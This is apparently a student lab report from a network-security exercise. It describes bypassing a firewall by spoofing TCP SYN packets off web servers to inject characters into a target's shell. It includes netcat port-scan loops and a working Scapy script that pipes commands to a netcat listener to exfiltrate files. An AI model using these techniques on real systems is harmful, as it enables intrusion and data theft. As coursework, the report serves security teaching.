\section{Exercise 3}
\subsection{Rep:3.a}

First thing we did was just scanning the host.

We did not get very far, as the remote host is not directly accessible.
(At least it looked like that at first, as we did not read the exercise sheet properly.)

The commands we used for bruteforcing were as follows:

\begin{verbatim}
$ ping -c1 192.168.67.15
$ for i in `seq 1 1000`; do echo "test" | nc -w1 192.168.67.115 \$i \& ; done
$ for i in `seq 1 1000`; do echo "test" | nc -u -w1 192.168.67.115 \$i \& ; done
\end{verbatim}

We did not see any output on the remote machine, as we somehow managed to break the remote screen functionality, so we were mostly working into the dark.

As we did not see any results of our tests we continued to read the exercise sheet.
This did reveal that there is a firewall in place.

As we did not see any output on the remote machine it is quite possible that the firewall is a network level firewall - after all we did not see any packets, neither ICMP traffic nor TCP or UDP traffic.
Therefore the firewall could be located on the remote machine as well as on an intermediate bridging firewall. (For our definition it could not be on an intermediate router, as the machine was located in the same network as we were.)

When trying to send the first spoofed packet we did immediately succeed, as we saw some output on the remote screen.
(We did see the console, only the wireshark-window was buggy for us.)
Finding the rest of the covert channel was quite easy, as the exercise sheet revealed to us that we had to bounce our connection over the remote webservers.
When trying to send a SYN packet we found an example, which also defined the sequence number so we did try that as first attempt and succeeded.
(We quickly saw that the resulting character was similar to the sequence number we sent - we just had to subtract one, as the webservers incremented the sequence number)

Once we were able to send characters to the remote shell we quickly saw, that we got autoblocked by some script.
The easiest method was to just to continue sending characters to the remote machine by using the next server.

As we were told that alternating between the hosts was the idea of the exercise we did optimize our method a little bit by splitting our command in 4 byte blocks and rotate automatically over the HTTP servers.

\subsection{Rep:3.b}
IP source was always our target, {\tt 192.168.67.115}, source port was {\tt 1337}.
(As the SYN-ACK would bounce to the target host on the same port.)
IP destination was one of the HTTP servers, {\tt 192.168.67.200}, {\tt 192.168.67.210} and {\tt 192.168.67.220}, destination port was {\tt 80}.
We did not modify the TTL or the IP ID, so those should be the default values.
The sequence value was the character we were trying to send minus one.
We never saw the acknowledged sequence value, as this was directed towards the target host.

The code responsible for sending a character was as follows:

\begin{redframe}\begin{scriptsize}\begin{verbatim}
ip=IP(src=src,dst=dst)
SYN=TCP(sport=sport,dport=dport,flags='S',seq=ord(char)-1)
send(ip/SYN)
\end{verbatim}\end{scriptsize}\end{redframe}

\subsection{Rep:3.c}

We created a connect-back socket by opening a local port via netcat:

\begin{verbatim}
$ nc -l 26555
\end{verbatim}

Using this socket we did extract all of the information we found on the remote system.

\begin{redframe}\begin{scriptsize}\begin{verbatim}
#!/usr/bin/env python

# disable IPv6 error message
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
logging.getLogger("scapy.runtime").setLevel(logging.WARN)

#send(IP(dst='127.0.0.1')/TCP(sport=1337))

# our pingback target
src = '192.168.67.115'
# our intermediate syn-servers
dst = ['192.168.67.200', '192.168.67.210', '192.168.67.220']
sport = 1337
dport = 80
# self
self = '192.168.67.26'
# our local connectback port
port = '26555'

def sendchar(dst, char):
    if char is not None:
        ip=IP(src=src,dst=dst)
        SYN=TCP(sport=sport,dport=dport,flags='S',seq=ord(char)-1)
        send(ip/SYN)

def run(cmd):
    cmd += "|nc "+self+" "+port+"\r"
    chunksize = 4
    chunklist = [ cmd[i:i+chunksize] for i in range(0, len(cmd), chunksize) ]
    for chunkid, chunk in enumerate(chunklist):
        curdst = chunkid % len(dst)
        for char in chunk:
            sendchar(dst[curdst], char)

#run("ip addr")
"""
 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:27:2b:f0 brd ff:ff:ff:ff:ff:ff
    inet 192.168.67.115/24 brd 192.168.67.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe27:2bf0/64 scope link
       valid_lft forever preferred_lft forever
"""

#run("pwd")
"""
/home/nsa
"""

#run("ls")
"""
New Text Documnet.txt.zip
secret
"""

#run("cat secret") # copy file with 'nc -l 26555 > secret'
#run("cat *.zip") # copy file with 'nc -l 26555 > New\ Text\ Documnet.txt.zip'
\end{verbatim}\end{scriptsize}\end{redframe}
